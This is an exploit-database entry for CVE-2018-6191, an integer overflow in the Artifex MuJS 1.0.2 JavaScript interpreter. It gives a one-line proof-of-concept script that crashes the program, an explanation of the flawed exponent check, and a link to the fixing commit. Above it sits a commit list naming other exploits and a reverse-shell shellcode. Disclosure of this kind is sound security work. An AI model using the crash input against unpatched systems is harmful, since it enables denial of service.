acaa042761
21 changes to exploits/shellcodes Artifex MuJS 1.0.2 - Denial of Service Artifex MuJS 1.0.2 - Integer Overflow BMC BladeLogic 8.3.00.64 - Remote Command Execution Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection Gnew 2018.1 - Cross-Site Request Forgery Nexpose < 6.4.66 - Cross-Site Request Forgery Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download Task Rabbit Clone 1.0 - 'id' SQL Injection TSiteBuilder 1.0 - SQL Injection Hot Scripts Clone - 'subctid' SQL Injection Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection Buddy Zone 2.9.9 - SQL Injection Netis WF2419 Router - Cross-Site Request Forgery KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Linux/x86 - Egghunter Shellcode (12 Bytes) Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)
36 lines
No EOL
1.1 KiB
Text
36 lines
No EOL
1.1 KiB
Text
Hello,
|
|
|
|
I want to submit the following bug:
|
|
|
|
The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
|
|
integer overflow because of incorrect exponent validation.
|
|
|
|
# Exploit Title: Integer signedness error leading to Out-of-bounds read
|
|
that causes crash
|
|
# Date: 2018-01-24
|
|
# Exploit Author: Andrea Sindoni - @invictus1306
|
|
# Vendor: Artifex (https://www.artifex.com/)
|
|
# Software Link: https://github.com/ccxvii/mujs
|
|
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
|
|
# Tested on: Linux
|
|
# CVE : CVE-2018-6191
|
|
|
|
Content of the poc file
|
|
$ cat poc.js
|
|
function pipo() {var 2e2147483648= 117486231123842366;}
|
|
|
|
Run it
|
|
$ mujs poc.js
|
|
|
|
Additional details about the bug:
|
|
|
|
Inside the function js_strtod, after this line
|
|
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714
|
|
|
|
exp = -exp;
|
|
|
|
the value of "exp" is still negative (cause integer declaration).
|
|
|
|
Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
|
|
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
|
|
) |